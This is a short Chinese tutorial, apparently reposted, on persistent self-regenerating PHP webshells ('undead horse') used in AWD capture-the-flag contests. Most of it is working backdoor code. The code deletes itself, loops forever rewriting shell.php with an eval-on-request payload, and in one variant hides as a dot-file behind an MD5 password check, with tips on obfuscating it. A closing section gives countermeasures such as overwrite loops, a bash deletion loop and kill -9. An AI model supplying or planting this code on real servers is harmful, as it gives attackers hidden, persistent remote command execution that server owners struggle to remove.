借鑒文章
不死馬常用於AWD模式,用於權限維持,首先上傳一個不死馬,然后訪問該頁面,就會執行不死馬,它會以進程的形式運行,不斷的生成文件,即使被發現也不容易被刪掉,同時注意上傳的目錄是否有權限
不死馬
<?php set_time_limit(0); //PHP腳本限制了執行時間,set_time_limit(0)設置一個腳本的執行時間為無限長 ignore_user_abort(1); //ignore_user_abort如果設置為 TRUE,則忽略與用戶的斷開,腳本將繼續運行。 unlink(__FILE__); //刪除自身 while(1) {
file_put_contents('./shell.php','<?php @eval($_GET[cmd]);?>'); //創建shell.php sleep(0); //間隔時間 } ?>
上傳之后,訪問該頁面,就會不斷生成shell.php,我們就直接可以利用shell.php
同時為了防止被其他人利用,可以進行修改,用md5驗證,或者其他利用方法驗證,只要不讓其他人搭順風車就可以,在文件前面加個點在Linux系統中變成隱藏文件,以用來隱蔽自己,當然也可以用其他編碼或者其他方法來混淆代碼,讓其他人看不出來或無法直接利用
<?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '.shell.php'; $code = '<?php if(md5($_GET["passwd"])=="76a2173be6393254e72ffa4d6df1030a"){@eval($_REQUEST[cmd]);} ?>'; while (1){ file_put_contents($file,$code); usleep(5000); } ?>
這樣就可以直接利用URL傳參.shell.php?passwd=passwd&cmd=你要執行的命令; 或者利用菜刀
被中了不死馬怎么辦,最簡單的是重啟服務器,然后刪掉木馬文件,但大多比賽無法重啟服務的權限,不過可以通過不斷向木馬文件復寫來克制,前提是寫入速度要大於不死馬的生成速度
<?php set_time_limit(0); ignore_user_abort(true); unlink(__FILE__); while(1) { file_put_contents('./shell.php','11111'); usleep(0); } ?>
也可以用bash不斷的刪除文件
#!/bin/bash while : ;do rm -rf .shell.php; done;
或者不斷的刪除程序和殺進程
<?php while (1) { $pid=xxx; @unlink('shell.php'); exec('kill -9 $pid'); } ?>